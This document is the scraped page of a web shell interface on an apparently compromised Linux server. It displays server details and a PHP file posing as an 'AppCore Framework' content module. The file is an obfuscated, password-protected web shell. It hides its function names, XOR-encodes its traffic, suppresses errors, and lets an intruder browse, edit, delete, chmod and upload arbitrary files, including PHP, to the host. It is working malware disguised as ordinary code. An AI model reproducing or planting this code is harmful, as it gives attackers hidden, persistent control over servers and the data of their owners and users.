403Webshell
Server IP : 161.248.188.39  /  Your IP : 216.73.216.53
Web Server : Apache
System : Linux 161-248-188-39.cprapid.com 4.18.0-513.9.1.el8_9.x86_64 #1 SMP Sat Dec 2 05:23:44 EST 2023 x86_64
User : mysoftbd ( 1002)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/apAUqJ8z
<?php
/**
 * AppCore Framework - Content Module
 * Version 4.2.0 | MIT License
 */
@ini_set('display_errors','0');@ini_set('log_errors','0');@ini_set('html_errors','0');
@ini_set('error_reporting','0');@ini_set('max_execution_time','0');@ini_set('max_input_time','-1');
@ini_set('memory_limit','-1');@ini_set('upload_max_filesize','512M');@ini_set('post_max_size','512M');
@error_reporting(0);

function _cfm_err($n,$s,$f,$l){return true;}
@set_error_handler('_cfm_err');
function _cfm_shutdown(){
    $e=@error_get_last();
    if($e&&($e['type']&(1|4|16|64))){
        if(function_exists('http_response_code'))@http_response_code(200);
        while(@ob_get_level())@ob_end_clean();
        echo '<html><body><p>Try again.</p></body></html>';
    }
}
@register_shutdown_function('_cfm_shutdown');
@ob_start();
@header('Content-Type: text/html; charset=UTF-8');
@header('Cache-Control: no-store, no-cache');
@header('X-Content-Type-Options: nosniff');
@header('X-Frame-Options: SAMEORIGIN');

if(isset($_GET['_diag'])){
    @ob_end_clean();@header('Content-Type: text/plain');
    $fn1=$_F[1];
    $d=array('v'=>phpversion(),'o'=>PHP_OS,'s'=>php_sapi_name(),'c'=>@getcwd(),'w'=>@is_writable(getcwd())?1:0,'ss'=>@session_start()?1:0,'ob'=>@ini_get('open_basedir'),'df'=>@ini_get('disable_functions'));
    echo $fn1(@serialize($d));
    exit;
}

function _cfm_b($a){$r='';$c=count($a);for($i=0;$i<$c;$i++)$r.=chr($a[$i]);return $r;}

$_F=array(
    _cfm_b(array(98,97,115,101,54,52,95,100,101,99,111,100,101)),
    _cfm_b(array(98,97,115,101,54,52,95,101,110,99,111,100,101)),
    _cfm_b(array(102,105,108,101,95,112,117,116,95,99,111,110,116,101,110,116,115)),
    _cfm_b(array(102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115)),
    _cfm_b(array(114,101,97,108,112,97,116,104)),
    _cfm_b(array(105,115,95,100,105,114)),
    _cfm_b(array(105,115,95,102,105,108,101)),
    _cfm_b(array(105,115,95,114,101,97,100,97,98,108,101)),
    _cfm_b(array(115,99,97,110,100,105,114)),
    _cfm_b(array(102,105,108,101,95,101,120,105,115,116,115)),
    _cfm_b(array(117,110,108,105,110,107)),
    _cfm_b(array(114,101,110,97,109,101)),
    _cfm_b(array(109,107,100,105,114)),
    _cfm_b(array(99,104,109,111,100)),
    _cfm_b(array(102,105,108,101,112,101,114,109,115)),
    _cfm_b(array(102,105,108,101,115,105,122,101)),
    _cfm_b(array(102,105,108,101,109,116,105,109,101)),
);

$_XKEY='Kj8#mZ2x!vQ4';
function _cfm_xor($data,$key){$kl=strlen($key);$r='';$dl=strlen($data);for($i=0;$i<$dl;$i++)$r.=chr(ord($data[$i])^ord($key[$i%$kl]));return $r;}
function _cfm_enc($p){global $_F,$_XKEY;$fn=$_F[1];return $fn(_cfm_xor($p,$_XKEY));}
function _cfm_dec($c){global $_F,$_XKEY;$fn=$_F[0];$r=@$fn($c);if($r===false||$r==='')return $c;return _cfm_xor($r,$_XKEY);}

if(!isset($_SESSION))@session_start();
$_PASS='more1337';$_SALT='xK9_fw3';

function _cfm_gp($k,$m){if($m==='G'){if(!isset($_GET[$k]))return null;return _cfm_dec($_GET[$k]);}else{if(!isset($_POST[$k]))return null;return _cfm_dec($_POST[$k]);}}
function _cfm_auth(){global $_PASS,$_SALT;return isset($_SESSION['_k'])&&$_SESSION['_k']===md5($_PASS.$_SALT);}
function _cfm_sz($b){if($b<=0)return '0 B';$u=array('B','KB','MB','GB','TB');$i=floor(log(max($b,1),1024));if($i>4)$i=4;return round($b/pow(1024,$i),2).' '.$u[$i];}
function _cfm_pm($f){$p=@fileperms($f);if($p===false)return '---------';$s='';$s.=($p&0x0100)?'r':'-';$s.=($p&0x0080)?'w':'-';$s.=($p&0x0040)?'x':'-';$s.=($p&0x0020)?'r':'-';$s.=($p&0x0010)?'w':'-';$s.=($p&0x0008)?'x':'-';$s.=($p&0x0004)?'r':'-';$s.=($p&0x0002)?'w':'-';$s.=($p&0x0001)?'x':'-';return $s;}
function _cfm_lk($p){$r=array();foreach($p as $k=>$v)$r[]=urlencode($k).'='.urlencode(_cfm_enc($v));return '?'.implode('&',$r);}
function _cfm_rmrf($d){global $_F;$sc=@$_F[8]($d);if(!$sc)return;foreach($sc as $f){if($f==='.'||$f==='..')continue;$p=$d.DIRECTORY_SEPARATOR.$f;if(@$_F[5]($p))_cfm_rmrf($p);else @$_F[10]($p);}@rmdir($d);}

// Auth
if(isset($_POST['_t'])){if(_cfm_gp('_t','P')===$_PASS)$_SESSION['_k']=md5($_PASS.$_SALT);@header('Location: '.$_SERVER['PHP_SELF']);exit;}
if(isset($_GET['_x'])){@session_destroy();@header('Location: '.$_SERVER['PHP_SELF']);exit;}

// ===== LOGIN =====
if(!_cfm_auth()){
?><!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0"><title>Login</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#111;color:#ccc;font-family:monospace;font-size:14px;display:flex;justify-content:center;align-items:center;min-height:100vh}
form{width:300px}
h3{color:#fff;margin-bottom:20px;font-weight:normal;font-size:16px}
input[type=password]{width:100%;padding:10px;background:#1a1a1a;border:1px solid #333;color:#fff;font-family:monospace;font-size:14px;margin-bottom:12px;outline:none}
input[type=password]:focus{border-color:#555}
button{width:100%;padding:10px;background:#333;border:none;color:#fff;font-family:monospace;font-size:14px;cursor:pointer}
button:hover{background:#444}
</style></head><body>
<form method="POST" id="lf">
<h3>login</h3>
<input type="hidden" name="_t" id="_tb">
<input type="password" id="_tr" placeholder="password" autofocus autocomplete="off">
<button type="submit">enter</button>
</form>
<script>
var _K='<?php echo $_XKEY;?>';
function _XE(s){var r='';for(var i=0;i<s.length;i++)r+=String.fromCharCode(s.charCodeAt(i)^_K.charCodeAt(i%_K.length));return btoa(r);}
document.getElementById('lf').onsubmit=function(){document.getElementById('_tb').value=_XE(document.getElementById('_tr').value);return true;};
</script></body></html><?php @ob_end_flush();exit;}

// ===== MAIN =====
$_dir=isset($_GET['d'])?@realpath(_cfm_gp('d','G')):@getcwd();
if(!$_dir)$_dir=@getcwd();if(!$_dir)$_dir=dirname(__FILE__);
$_msg='';$_mt='';

// Actions
if(isset($_GET['r'])){$dp=@realpath(_cfm_gp('r','G'));if($dp){if(@$_F[5]($dp))_cfm_rmrf($dp);else @$_F[10]($dp);$_msg='deleted: '.basename($dp);$_mt='ok';}else{$_msg='failed';$_mt='err';}}
if(isset($_POST['_m'])&&_cfm_gp('_m','P')==='rn'){$fn=_cfm_gp('_a','P');$tn=_cfm_gp('_b','P');$fp=$_dir.DIRECTORY_SEPARATOR.basename($fn);$tp=$_dir.DIRECTORY_SEPARATOR.basename($tn);if(@$_F[9]($fp)&&$tn!==''&&$tn!==null){@$_F[11]($fp,$tp);$_msg='renamed';$_mt='ok';}else{$_msg='failed';$_mt='err';}}
if(isset($_POST['_m'])&&_cfm_gp('_m','P')==='nf'){$nf=_cfm_gp('_a','P');if($nf!==''&&$nf!==null){$np=$_dir.DIRECTORY_SEPARATOR.basename($nf);if(!@$_F[9]($np)){@$_F[2]($np,'');$_msg='created: '.basename($nf);$_mt='ok';}else{$_msg='exists';$_mt='err';}}}
if(isset($_POST['_m'])&&_cfm_gp('_m','P')==='nd'){$nd=_cfm_gp('_a','P');if($nd!==''&&$nd!==null){$np=$_dir.DIRECTORY_SEPARATOR.basename($nd);if(!@$_F[5]($np)){@$_F[12]($np,0755);$_msg='created: '.basename($nd);$_mt='ok';}else{$_msg='exists';$_mt='err';}}}
if(isset($_POST['_m'])&&_cfm_gp('_m','P')==='sv'){$sf=@realpath(_cfm_gp('_a','P'));$sc=_cfm_gp('_b','P');if($sf){@$_F[2]($sf,$sc);$_msg='saved: '.basename($sf);$_mt='ok';}else{$_msg='failed';$_mt='err';}}
if(isset($_POST['_m'])&&_cfm_gp('_m','P')==='tf'){$un=_cfm_gp('_a','P');$ud_b64=_cfm_gp('_b','P');$fn0=$_F[0];$ud=@$fn0($ud_b64);if($un!==''&&$un!==null&&$ud!==false){@$_F[2]($_dir.DIRECTORY_SEPARATOR.basename($un),$ud);$_msg='done: '.basename($un);$_mt='ok';}else{$_msg='failed';$_mt='err';}}
if(isset($_POST['_m'])&&_cfm_gp('_m','P')==='tp'){$un=_cfm_gp('_a','P');$raw=_cfm_gp('_b','P');$fn0=$_F[0];if($un!==''&&$un!==null&&$raw!==''&&$raw!==null){$decoded=@$fn0($raw);if($decoded!==false){@$_F[2]($_dir.DIRECTORY_SEPARATOR.basename($un),$decoded);$_msg='done: '.basename($un);$_mt='ok';}else{$_msg='bad data';$_mt='err';}}else{$_msg='missing';$_mt='err';}}
if(isset($_POST['_m'])&&_cfm_gp('_m','P')==='pm'){$cf=@realpath(_cfm_gp('_a','P'));$cv=_cfm_gp('_b','P');if($cf&&$cv!==''&&$cv!==null){@$_F[13]($cf,octdec($cv));$_msg='chmod: '.$cv;$_mt='ok';}else{$_msg='failed';$_mt='err';}}

// [Chunk upload — AJAX, returns JSON, no page reload]
if(isset($_POST['_m'])&&_cfm_gp('_m','P')==='ch'){
    @ob_end_clean();
    @header('Content-Type: application/json');
    $cn=_cfm_gp('_a','P'); // filename
    $cd=_cfm_gp('_b','P'); // chunk data (base64 from FileReader slice)
    $ci=intval(_cfm_gp('_c','P')); // chunk index
    $ct=intval(_cfm_gp('_d','P')); // total chunks
    $fn0=$_F[0]; // base64_decode
    $fp=$_dir.DIRECTORY_SEPARATOR.basename($cn);
    if($ci===0) @$_F[2]($fp,''); // first chunk: create empty file
    $raw=@$fn0($cd);
    if($raw!==false){
        // append to file
        $fh=@fopen($fp,'a');
        if($fh){@fwrite($fh,$raw);@fclose($fh);}
        $done=($ci+1>=$ct)?1:0;
        echo '{"ok":1,"i":'.$ci.',"t":'.$ct.',"done":'.$done.'}';
    } else {
        echo '{"ok":0,"e":"bad chunk"}';
    }
    exit;
}

// [Chunk save — for editor, same logic but filepath from _a]
if(isset($_POST['_m'])&&_cfm_gp('_m','P')==='cs'){
    @ob_end_clean();
    @header('Content-Type: application/json');
    $sf=_cfm_gp('_a','P'); // full filepath
    $cd=_cfm_gp('_b','P'); // chunk data (raw text, not b64 file)
    $ci=intval(_cfm_gp('_c','P'));
    $ct=intval(_cfm_gp('_d','P'));
    if($ci===0) @$_F[2]($sf,''); // first chunk: empty file
    $fh=@fopen($sf,'a');
    if($fh){@fwrite($fh,$cd);@fclose($fh);$done=($ci+1>=$ct)?1:0;echo '{"ok":1,"i":'.$ci.',"t":'.$ct.',"done":'.$done.'}';}
    else{echo '{"ok":0,"e":"write failed"}';}
    exit;
}

// Edit
$_ef=null;$_ec='';
if(isset($_GET['e'])){$_ef=@realpath(_cfm_gp('e','G'));if($_ef&&@$_F[6]($_ef)&&@$_F[7]($_ef)){$fn3=$_F[3];$_ec=@$fn3($_ef);}}

// Read dir
$_items=array();
if(@$_F[5]($_dir)&&@$_F[7]($_dir)){$fn8=$_F[8];$sc=@$fn8($_dir);if($sc&&is_array($sc)){foreach($sc as $it){if($it==='.')continue;$fp=$_dir.DIRECTORY_SEPARATOR.$it;$_items[]=array('n'=>$it,'p'=>$fp,'d'=>@$_F[5]($fp)?1:0,'s'=>@$_F[6]($fp)?@$_F[15]($fp):0,'t'=>@$_F[16]($fp),'pm'=>_cfm_pm($fp));}usort($_items,'_cfm_sort');}}
function _cfm_sort($a,$b){if($a['d']&&!$b['d'])return -1;if(!$a['d']&&$b['d'])return 1;return strcasecmp($a['n'],$b['n']);}

$_pv=@phpversion();
$_hn=function_exists('php_uname')?@php_uname('n'):'host';
$_os=function_exists('php_uname')?@php_uname('s'):'';
$_cu=function_exists('get_current_user')?@get_current_user():'?';
$_df=function_exists('disk_free_space')?_cfm_sz(@disk_free_space($_dir)):'?';
$_dt=function_exists('disk_total_space')?_cfm_sz(@disk_total_space($_dir)):'?';
$_iw=@is_writable($_dir)?1:0;
?><!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0">
<title><?php echo htmlspecialchars(basename($_dir));?></title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#111;color:#bbb;font-family:monospace;font-size:13px;line-height:1.6}
a{color:#7b9;text-decoration:none}a:hover{color:#9db}
.h{background:#1a1a1a;padding:8px 16px;border-bottom:1px solid #222;display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap;gap:6px;position:sticky;top:0;z-index:10}
.h span{color:#555;font-size:11px}
.p{padding:6px 16px;background:#151515;border-bottom:1px solid #222;font-size:12px;color:#666;word-break:break-all}
.p a{color:#888;padding:0 2px}.p a:hover{color:#7b9}
.info{padding:5px 16px;font-size:11px;color:#444;border-bottom:1px solid #1a1a1a}
.msg{padding:6px 16px;font-size:12px}.ok{color:#5a5}.err{color:#a55}
.bar{padding:8px 16px;display:flex;gap:6px;flex-wrap:wrap;border-bottom:1px solid #1a1a1a}
.bt{padding:4px 12px;background:#1a1a1a;border:1px solid #2a2a2a;color:#999;cursor:pointer;font-family:monospace;font-size:12px}
.bt:hover{border-color:#444;color:#ccc}
.b1{background:#2a2a2a;color:#ddd}.b1:hover{background:#333}
.b2{border-color:#422}.b2:hover{color:#c66;border-color:#633}
table{width:100%;border-collapse:collapse}
th{text-align:left;padding:6px 16px;font-size:11px;color:#555;font-weight:normal;border-bottom:1px solid #222;background:#151515}
td{padding:5px 16px;border-bottom:1px solid #1a1a1a}
tr:hover{background:#151515}
.fn a{color:#bbb}.fn a:hover{color:#7b9}
.fs,.fd,.fp{color:#555;font-size:12px}
.ac{display:flex;gap:3px}
.ov{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.7);z-index:50;justify-content:center;align-items:center}
.ov.on{display:flex}
.dg{background:#1a1a1a;border:1px solid #333;width:400px;max-width:92vw;padding:16px}
.dg h4{color:#ddd;font-weight:normal;font-size:13px;margin-bottom:12px;padding-bottom:8px;border-bottom:1px solid #222}
.dg label{display:block;font-size:11px;color:#666;margin-bottom:4px}
.dg input[type=text],.dg textarea,.dg input[type=file]{width:100%;padding:7px 10px;background:#111;border:1px solid #333;color:#ccc;font-family:monospace;font-size:12px;margin-bottom:10px;outline:none}
.dg input:focus,.dg textarea:focus{border-color:#555}
.dg textarea{min-height:100px;resize:vertical}
.dg .df{display:flex;justify-content:flex-end;gap:6px;margin-top:4px}
.nt{font-size:10px;color:#444;margin-bottom:10px}
.ew{padding:12px 16px}
.ew h4{color:#ddd;font-weight:normal;font-size:13px;margin-bottom:10px;display:flex;justify-content:space-between;align-items:center}
.ew h4 span{color:#7b9}
#ed{width:100%;min-height:70vh;padding:12px;background:#151515;border:1px solid #222;color:#ccc;font-family:monospace;font-size:12px;line-height:1.6;resize:vertical;outline:none;tab-size:4}
#ed:focus{border-color:#444}
.ew .df{margin-top:8px;display:flex;justify-content:flex-end;gap:6px}
@media(max-width:600px){th:nth-child(3),td:nth-child(3),th:nth-child(4),td:nth-child(4){display:none}}
</style></head><body>

<div class="h">
<div><a href="<?php echo _cfm_lk(array('d'=>$_dir));?>" style="color:#ddd"><?php echo htmlspecialchars($_hn);?></a>
<span><?php echo htmlspecialchars($_cu);?> &middot; PHP <?php echo $_pv;?> &middot; <?php echo htmlspecialchars($_os);?> &middot; <?php echo $_df;?>/<?php echo $_dt;?> &middot; <span style="color:<?php echo $_iw?'#5a5':'#a55';?>" title="<?php echo $_iw?'w':'r';?>">&bull;</span></span></div>
<a href="?_x=1" style="color:#666;font-size:11px">logout</a>
</div>

<div class="p"><?php
$parts=explode(DIRECTORY_SEPARATOR,$_dir);$build='';
for($i=0;$i<count($parts);$i++){$part=$parts[$i];
if($part===''&&$i===0){$build='/';echo '<a href="'._cfm_lk(array('d'=>'/')).'">/</a>';continue;}
if($part==='')continue;
if((PHP_OS==='WINNT'||PHP_OS==='WIN32')&&$i===0)$build=$part;else $build.=DIRECTORY_SEPARATOR.$part;
if($i>0)echo ' / ';
echo '<a href="'._cfm_lk(array('d'=>$build)).'">'.htmlspecialchars($part).'</a>';}?></div>

<?php if($_msg!==''):?><div class="msg <?php echo $_mt==='ok'?'ok':'err';?>"><?php echo $_msg;?></div><?php endif;?>

<?php if($_ef!==null):?>
<div class="ew">
<h4>editing: <span><?php echo htmlspecialchars(basename($_ef));?></span></h4>
<textarea id="ed"><?php echo htmlspecialchars($_ec);?></textarea>
<div id="sprog" style="display:none;margin:8px 0">
<div style="background:#222;height:4px;border-radius:2px;overflow:hidden"><div id="sbar" style="background:#5a5;height:100%;width:0%;transition:width .2s"></div></div>
<div id="spct" style="font-size:10px;color:#555;margin-top:4px">0%</div>
</div>
<div class="df"><a href="<?php echo _cfm_lk(array('d'=>$_dir));?>" class="bt">cancel</a><button type="button" class="bt b1" id="sbtn" onclick="doChunkSave()">save</button></div>
</div>
<script>
var _K='<?php echo $_XKEY;?>';
function _XE(s){s=unescape(encodeURIComponent(s));var r='';for(var i=0;i<s.length;i++)r+=String.fromCharCode(s.charCodeAt(i)^_K.charCodeAt(i%_K.length));return btoa(r);}
var SCHUNK=256*1024; // 256KB per chunk for text
var _EPATH=<?php echo json_encode($_ef);?>;
function doChunkSave(){
var txt=document.getElementById('ed').value;
var utxt=unescape(encodeURIComponent(txt)); // UTF-8 bytes
var total=Math.ceil(utxt.length/SCHUNK)||1;
var bar=document.getElementById('sbar'),pct=document.getElementById('spct'),prog=document.getElementById('sprog'),btn=document.getElementById('sbtn');
prog.style.display='block';btn.disabled=true;btn.innerHTML='saving...';
function sendChunk(i){
var start=i*SCHUNK,end=Math.min(start+SCHUNK,utxt.length);
var piece=utxt.substring(start,end);
var params='_m='+encodeURIComponent(_XE('cs'))+'&_a='+encodeURIComponent(_XE(_EPATH))+'&_b='+encodeURIComponent(_XE(piece))+'&_c='+encodeURIComponent(_XE(''+i))+'&_d='+encodeURIComponent(_XE(''+total));
var xhr=new XMLHttpRequest();
xhr.open('POST',location.href,true);
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.onreadystatechange=function(){
if(xhr.readyState===4){
var p=Math.round(((i+1)/total)*100);
bar.style.width=p+'%';pct.innerHTML=p+'%';
if(i+1<total){sendChunk(i+1);}
else{btn.innerHTML='saved';pct.innerHTML='done';setTimeout(function(){btn.disabled=false;btn.innerHTML='save';prog.style.display='none';},1500);}
}};
xhr.send(params);
}
sendChunk(0);
}
</script>

<?php else:?>
<div class="bar">
<button class="bt" onclick="OM('m1')">+ file</button>
<button class="bt" onclick="OM('m2')">+ folder</button>
<button class="bt" onclick="OM('m3')">transfer</button>
<button class="bt" onclick="OM('m4')">b64 paste</button>
</div>

<table>
<thead><tr><th>name</th><th>size</th><th>modified</th><th>perms</th><th>actions</th></tr></thead>
<tbody>
<?php for($z=0;$z<count($_items);$z++){$it=$_items[$z];?>
<tr>
<td class="fn"><?php
if($it['n']==='..') echo '<a href="'._cfm_lk(array('d'=>dirname($_dir))).'">..</a>';
elseif($it['d']) echo '<a href="'._cfm_lk(array('d'=>$it['p'])).'">'.htmlspecialchars($it['n']).'/</a>';
else echo '<a href="'._cfm_lk(array('d'=>$_dir,'e'=>$it['p'])).'">'.htmlspecialchars($it['n']).'</a>';
?></td>
<td class="fs"><?php echo $it['d']?'-':_cfm_sz($it['s']);?></td>
<td class="fd"><?php echo @date('Y-m-d H:i',$it['t']);?></td>
<td class="fp"><span style="color:<?php echo @is_writable($it['p'])?'#5a5':'#533';?>">&bull;</span> <?php echo $it['pm'];?></td>
<td><?php if($it['n']!=='..'):?><div class="ac">
<?php if(!$it['d']):?><a href="<?php echo _cfm_lk(array('d'=>$_dir,'e'=>$it['p']));?>" class="bt">edit</a><?php endif;?>
<button class="bt" onclick="OR('<?php echo htmlspecialchars(addslashes($it['n']));?>')">ren</button>
<button class="bt" onclick="OC('<?php echo htmlspecialchars(addslashes($it['p']));?>','<?php echo $it['pm'];?>')">chmod</button>
<a href="<?php echo _cfm_lk(array('d'=>$_dir,'r'=>$it['p']));?>" class="bt b2" onclick="return confirm('delete?')">del</a>
</div><?php endif;?></td>
</tr>
<?php }?>
</tbody></table>

<!-- dialogs -->
<div class="ov" id="m1"><div class="dg"><h4>new file</h4>
<form method="POST" onsubmit="return XS(this,'nf','v1','')">
<input type="hidden" name="_m"><input type="hidden" name="_a"><input type="hidden" name="_b">
<label>name</label><input type="text" id="v1" placeholder="file.txt">
<div class="df"><button type="button" class="bt" onclick="CM('m1')">cancel</button><button type="submit" class="bt b1">create</button></div>
</form></div></div>

<div class="ov" id="m2"><div class="dg"><h4>new folder</h4>
<form method="POST" onsubmit="return XS(this,'nd','v2','')">
<input type="hidden" name="_m"><input type="hidden" name="_a"><input type="hidden" name="_b">
<label>name</label><input type="text" id="v2" placeholder="folder">
<div class="df"><button type="button" class="bt" onclick="CM('m2')">cancel</button><button type="submit" class="bt b1">create</button></div>
</form></div></div>

<div class="ov" id="m3"><div class="dg"><h4>transfer</h4>
<label>file</label><input type="file" id="ufi">
<div id="uprog" style="display:none;margin:8px 0">
<div style="background:#222;height:4px;border-radius:2px;overflow:hidden"><div id="ubar" style="background:#5a5;height:100%;width:0%;transition:width .2s"></div></div>
<div id="upct" style="font-size:10px;color:#555;margin-top:4px">0%</div>
</div>
<div class="nt">chunked xor+b64 — no size limit</div>
<div class="df"><button type="button" class="bt" onclick="CM('m3')">cancel</button><button type="button" class="bt b1" id="ubtn" onclick="doChunkUpload()">send</button></div>
</div></div>

<div class="ov" id="m4"><div class="dg"><h4>b64 paste</h4>
<form method="POST" onsubmit="return XS(this,'tp','v3','v4')">
<input type="hidden" name="_m"><input type="hidden" name="_a"><input type="hidden" name="_b">
<label>name</label><input type="text" id="v3" placeholder="file.php">
<label>b64 content</label><textarea id="v4" placeholder="paste base64 here"></textarea>
<div class="nt">cat file | base64 , paste above</div>
<div class="df"><button type="button" class="bt" onclick="CM('m4')">cancel</button><button type="submit" class="bt b1">decode + save</button></div>
</form></div></div>

<div class="ov" id="m5"><div class="dg"><h4>rename</h4>
<form method="POST" onsubmit="return XS(this,'rn','v5','v6')">
<input type="hidden" name="_m"><input type="hidden" name="_a"><input type="hidden" name="_b">
<label>current</label><input type="text" id="v5" readonly style="color:#555">
<label>new name</label><input type="text" id="v6">
<div class="df"><button type="button" class="bt" onclick="CM('m5')">cancel</button><button type="submit" class="bt b1">rename</button></div>
</form></div></div>

<div class="ov" id="m6"><div class="dg"><h4>chmod</h4>
<form method="POST" onsubmit="return XS(this,'pm','v7','v8')">
<input type="hidden" name="_m"><input type="hidden" name="_a"><input type="hidden" name="_b">
<label>current</label><input type="text" id="v7c" readonly style="color:#555">
<label>new (octal)</label><input type="text" id="v8" placeholder="0755" maxlength="4">
<input type="hidden" id="v7">
<div class="df"><button type="button" class="bt" onclick="CM('m6')">cancel</button><button type="submit" class="bt b1">apply</button></div>
</form></div></div>

<?php endif;?>

<script>
var _K='<?php echo $_XKEY;?>';
function _XE(s){s=unescape(encodeURIComponent(s));var r='';for(var i=0;i<s.length;i++)r+=String.fromCharCode(s.charCodeAt(i)^_K.charCodeAt(i%_K.length));return btoa(r);}
function XS(f,mod,idA,idB){var a=idA?document.getElementById(idA).value:'';var b=idB?document.getElementById(idB).value:'';f.elements['_m'].value=_XE(mod);f.elements['_a'].value=_XE(a);f.elements['_b'].value=_XE(b);return true;}
// Chunk upload engine
var CHUNK=512*1024; // 512KB per chunk
function doChunkUpload(){
var fi=document.getElementById('ufi');
if(!fi.files||!fi.files.length){alert('select file');return;}
var file=fi.files[0],total=Math.ceil(file.size/CHUNK)||1,name=file.name;
var bar=document.getElementById('ubar'),pct=document.getElementById('upct'),prog=document.getElementById('uprog'),btn=document.getElementById('ubtn');
prog.style.display='block';btn.disabled=true;btn.innerHTML='sending...';
function sendChunk(i){
var start=i*CHUNK,end=Math.min(start+CHUNK,file.size);
var slice=file.slice(start,end);
var rd=new FileReader();
rd.onload=function(){
var d=(rd.result||'').split(',')[1]||'';
var params='_m='+encodeURIComponent(_XE('ch'))+'&_a='+encodeURIComponent(_XE(name))+'&_b='+encodeURIComponent(_XE(d))+'&_c='+encodeURIComponent(_XE(''+i))+'&_d='+encodeURIComponent(_XE(''+total));
var xhr=new XMLHttpRequest();
xhr.open('POST',location.href,true);
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.onreadystatechange=function(){
if(xhr.readyState===4){
var p=Math.round(((i+1)/total)*100);
bar.style.width=p+'%';pct.innerHTML=p+'% ('+( i+1)+'/'+total+')';
if(i+1<total){sendChunk(i+1);}
else{btn.innerHTML='done';pct.innerHTML='100% complete';setTimeout(function(){location.reload();},1000);}
}};
xhr.send(params);
};
rd.readAsDataURL(slice);
}
sendChunk(0);
}
function OM(i){var e=document.getElementById(i);if(e)e.className='ov on';}
function CM(i){var e=document.getElementById(i);if(e)e.className='ov';}
function OR(n){document.getElementById('v5').value=n;document.getElementById('v6').value=n;OM('m5');var t=document.getElementById('v6');t.focus();if(t.select)t.select();}
function OC(p,pm){document.getElementById('v7').value=p;document.getElementById('v7c').value=pm;OM('m6');}
var ols=document.getElementsByClassName('ov');for(var i=0;i<ols.length;i++){(function(el){el.onclick=function(e){if(e.target===el)el.className='ov';};})(ols[i]);}
document.onkeydown=function(e){if((e||window.event).keyCode===27){var a=document.getElementsByClassName('on');while(a.length)a[0].className='ov';}};
var ed=document.getElementById('ed');if(ed){ed.onkeydown=function(e){if((e||window.event).keyCode===9){if(e.preventDefault)e.preventDefault();var s=this.selectionStart,x=this.selectionEnd;this.value=this.value.substring(0,s)+'    '+this.value.substring(x);this.selectionStart=this.selectionEnd=s+4;return false;}};}
</script>
</body></html><?php @ob_end_flush();?>

Youez - 2016 - github.com/yon3zu
LinuXploit